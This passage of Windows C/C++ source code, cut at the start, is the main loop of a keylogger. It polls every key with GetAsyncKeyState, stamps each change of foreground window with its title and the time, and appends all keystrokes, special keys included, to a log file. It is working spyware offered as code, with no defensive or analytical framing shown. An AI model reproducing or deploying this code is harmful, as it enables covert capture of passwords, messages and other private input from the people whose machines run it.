	hFile = CreateFile(log_file, FILE_APPEND_DATA, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL,NULL);
	WriteFile(hFile, header, 2, &dwBytesWritten, NULL);
	CloseHandle(hFile);

	short sScannedKey;
	while(1)
	{
		Sleep((rand() % 50) + 20);
		for(sScannedKey=8;sScannedKey<=222;sScannedKey++)
		{
			if(GetAsyncKeyState(sScannedKey)==-32767)
			{   
				//check window name, has it changed?
				hWindowHandle = GetForegroundWindow();
				if (hWindowHandle != NULL)
				{
					if (GetWindowText(hWindowHandle, window_text, 1024) != 0)
					{
						if (wcscmp(window_text, old_window_text) != 0)
						{
							hFile = CreateFile(log_file, FILE_APPEND_DATA, FILE_SHARE_READ, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL,NULL);
							GetLocalTime(&LocalTime);
							_snwprintf_s(wszAppName, 1023, L"\n\n{%04d/%02d/%02d %02d:%02d:%02d ", LocalTime.wYear, LocalTime.wMonth, LocalTime.wDay, LocalTime.wHour, LocalTime.wMinute, LocalTime.wSecond);
							wcscat_s(wszAppName, window_text);
							wcscat_s(wszAppName, L"}\n");
							WriteFile(hFile, wszAppName, wcslen(wszAppName) * sizeof(wchar_t), &dwBytesWritten, NULL);
							wcscpy_s(old_window_text, window_text);
							CloseHandle(hFile);
						}
					}
				}

				// end of window name & title check.

				if(true)
				{        
					if((sScannedKey>=39)&&(sScannedKey<91))
					{
						WritesScannedKeyToFile(sScannedKey);
						break;
					}    
					else
					{ 
						switch(sScannedKey)
						{
							//http://msdn.microsoft.com/en-us/library/windows/desktop/dd375731(v=vs.85).aspx
						case VK_SPACE:
							WriteToFile(L" ");
							break;    
						case VK_SHIFT:
							WriteToFile(L"[SHIFT]");
							break;                                            
						case VK_RETURN:
							WriteToFile(L"\n[ENTER]");
							break;
						case VK_BACK:
							WriteToFile(L"[BACKSPACE]");
							break;
						case VK_TAB:
							WriteToFile(L"[TAB]");
							break;
						case VK_CONTROL:
							WriteToFile(L"[CTRL]");
							break;    
						case VK_DELETE:
							WriteToFile(L"[DEL]");
							break;/*
						case VK_OEM_1:
							WriteToFile(L"[;:]");
							break;
						case VK_OEM_2:
							WriteToFile(L"[/?]");
							break;
						case VK_OEM_3:
							WriteToFile(L"[`~]");
							break;
						case VK_OEM_4:
							WriteToFile(L"[ [{ ]");
							break;
						case VK_OEM_5:
							WriteToFile(L"[\\|]");
							break;                                
						case VK_OEM_6:
							WriteToFile(L"[ ]} ]");
							break;
						case VK_OEM_7:
							WriteToFile(L"['\"]");
							break;*/
						case VK_OEM_PLUS:
							WriteToFile(L"+");
							break;
						case VK_OEM_COMMA:
							WriteToFile(L",");
							break;
						case VK_OEM_MINUS:
							WriteToFile(L"-");
							break;
						case VK_OEM_PERIOD:
							WriteToFile(L".");
							break;
						case VK_NUMPAD0:
							WriteToFile(L"0");
							break;
						case VK_NUMPAD1:
							WriteToFile(L"1");
							break;
						case VK_NUMPAD2:
							WriteToFile(L"2");
							break;
						case VK_NUMPAD3:
							WriteToFile(L"3");
							break;
						case VK_NUMPAD4:
							WriteToFile(L"4");
							break;
						case VK_NUMPAD5:
							WriteToFile(L"5");
							break;
						case VK_NUMPAD6:
							WriteToFile(L"6");
							break;
						case VK_NUMPAD7:
							WriteToFile(L"7");
							break;
						case VK_NUMPAD8:
							WriteToFile(L"8");
							break;
						case VK_NUMPAD9:
							WriteToFile(L"9");
							break;
						case VK_CAPITAL:
							WriteToFile(L"[CAPS LOCK]");
							break;
						case VK_PRIOR:
							WriteToFile(L"[PAGE UP]");
							break;
						case VK_NEXT:
							WriteToFile(L"[PAGE DOWN]");
							break;
						case VK_END:
							WriteToFile(L"[END]");
							break;
						case VK_HOME:
							WriteToFile(L"[HOME]");
							break;
						case VK_LWIN:
							WriteToFile(L"[WIN]");
							break;
						case VK_RWIN:
							WriteToFile(L"[WIN]");
							break;
						case VK_VOLUME_MUTE:
							WriteToFile(L"[SOUND-MUTE]");
							break;
						case VK_VOLUME_DOWN:
							WriteToFile(L"[SOUND-DOWN]");
							break;
						case VK_VOLUME_UP:
							WriteToFile(L"[SOUND-DOWN]");
							break;
						case VK_MEDIA_PLAY_PAUSE:
							WriteToFile(L"[MEDIA-PLAY/PAUSE]");
							break;
						case VK_MEDIA_STOP:
							WriteToFile(L"[MEDIA-STOP]");
							break;
						case VK_MENU:
							WriteToFile(L"[ALT]");
							break;
						default:
							
							break;
						}        
					}    
				}        
			}    
		}                  

	}
	return EXIT_SUCCESS;                            
}